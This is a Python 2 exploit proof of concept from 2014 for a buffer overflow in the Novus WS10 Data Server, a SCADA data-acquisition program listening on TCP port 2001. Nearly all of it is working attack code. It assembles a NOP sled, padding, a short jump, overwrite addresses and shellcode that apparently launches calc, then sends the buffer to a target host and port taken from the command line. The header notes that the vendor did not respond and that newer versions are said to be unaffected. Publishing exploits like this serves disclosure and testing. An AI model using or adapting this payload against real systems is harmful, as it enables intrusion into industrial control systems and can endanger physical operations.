WS10 Data Server – SCADA Overflow (PoC)

## Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC

## Date: 09/23/2014

## Author: Pedro Sánchez

## Version: 1.83 (English)

## Tested on: Windows 7 embedded.

## Notified the vendor, vendor never responded.

## In the new version this PoC stops working

## Vendor: Novus

## http://www.novus.com.br

## NOVUS Electronics is a manufacturer of instruments for control, data acquisition and supervisory systems, mainly for factory automation

import os

import socket

import sys

## The process listens on TCP port 2001

host = sys.argv[1]

port = int(sys.argv[2])

print " PoC WS10 Data Server SCADA Exploit "

print " Pedro Sanchez "

shellcode = ("\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x44\x80\xc2\x77\xFF\xD1\x90\x90")

## Exploit contructor

ws10 = ("\x90" * 1024 + "\x44" * 31788)

ws10 += ("\xeb\x14")

ws10 += ("\x44" * 6)

ws10 += ("\xad\xbb\xc3\x77")

ws10 += ("\xb4\x73\xed\x77")

ws10 += ("\x90" * 21)

ws10 += shellcode

print "[+] Sending payload..."

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,port))

s.send(ws10)

data = s.recv(1024)

print "[+] Closing..."

s.close()

print "[+] Done!"